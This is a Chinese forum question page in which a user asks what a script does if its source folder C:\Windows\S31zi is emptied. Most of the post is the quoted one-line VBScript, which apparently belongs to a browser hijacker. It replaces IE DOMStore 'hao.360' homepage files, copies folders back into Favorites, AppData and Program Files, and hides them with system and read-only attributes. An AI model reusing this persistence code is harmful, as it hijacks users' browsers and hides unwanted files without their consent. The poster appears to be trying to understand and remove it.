如果我删除C:\Windows\S31zi文件夹下所有文件,这个批处理会执行什么?是一直循环还是自动退出

休止符森 2018-02-15 10:17:57
On Error Resume Next:Set oFSO = CreateObject("Scripting.FileSystemObject"):If oFso.FileExists("C:\Windows\S31zi\Path.ini") = true Then:Set oTextStream = oFSO.OpenTextFile("C:\Windows\S31zi\Path.ini", 1, False):i = 1:Do While (Not oTextStream.AtEndOfStream):strTemp = oTextStream.ReadLine:if strTemp <> "" then:If oFso.FileExists(strTemp) = true Then:Set F=oFso.getfile(strTemp):F.attributes=0:End If:end if:i = i + 1:Loop:oTextStream.Close:End If:Set fs=ofso.GetFolder("C:\Users\Administrator\AppData\Local\Microsoft\Internet Explorer\DOMStore"):Set f=fs.SubFolders:For Each uu In f:If oFso.FileExists(uu.Path & "\hao.360[2].xml") = true Then:set sfile=oFso.getfile("C:\Users\Administrator\AppData\Local\Microsoft\Internet Explorer\DOMStore\container.dat"):set sfile2=oFso.getfile(uu.Path & "\hao.360[2].xml"):sfile2.attributes=0:sfile2.delete:sfile.attributes=0:sfile.delete:End If:oFSO.CopyFile "C:\Windows\S31zi\Local\Microsoft\Internet Explorer\DOMStore\GO0LOAZC\*.xml", uu.Path:oFso.getfile(uu.Path & "\hao.360[1].xml").attributes=0:Next:If oFSO.FolderExists("C:\Windows\S31zi\Links") then:oFso.CopyFolder "C:\Windows\S31zi\Links", "C:\Users\Administrator\Favorites":End If:If oFSO.FolderExists("C:\Windows\S31zi\Local") then:oFso.CopyFolder "C:\Windows\S31zi\Local", "C:\Users\Administrator\AppData\Local":End If:If oFSO.FolderExists("C:\Windows\S31zi\Roaming") then:oFso.CopyFolder "C:\Windows\S31zi\Roaming", "C:\Users\Administrator\AppData\Roaming":End If:If oFSO.FolderExists("C:\Windows\S31zi\Program Files") then:oFso.CopyFolder "C:\Windows\S31zi\Program Files", "C:\Program Files":If oFSO.FolderExists("C:\Program Files (x86)") then:oFso.CopyFolder "C:\Windows\S31zi\Program Files", "C:\Program Files (x86)":End If:End If:If oFso.FileExists("C:\Windows\S31zi\Path.ini") = true Then:Set oTextStream = oFSO.OpenTextFile("C:\Windows\S31zi\Path.ini", 1, False):i = 1:Do While (Not oTextStream.AtEndOfStream):strTemp = oTextStream.ReadLine:if strTemp <> "" then:set b = ofso.getfolder(strTemp):if b.attributes = 16 and ofso.FolderExists(strTemp) then:b.attributes=16+7:end if:If oFso.FileExists(strTemp) = true Then:Set F=oFso.getfile(strTemp):if Right(strTemp, 4) = ".url" then:F.attributes=0:else:F.attributes=1+2+4+32:End If:if Right(strTemp, 5) = "].xml" or Right(strTemp, 9) = "index.dat" then:F.attributes=0:End If:End If:End If:i = i + 1:Loop:oTextStream.Close:End If:
...全文
467 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

15,440

社区成员

发帖
与我相关
我的任务
社区描述
C/C++ 非技术区
社区管理员
  • 非技术区社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧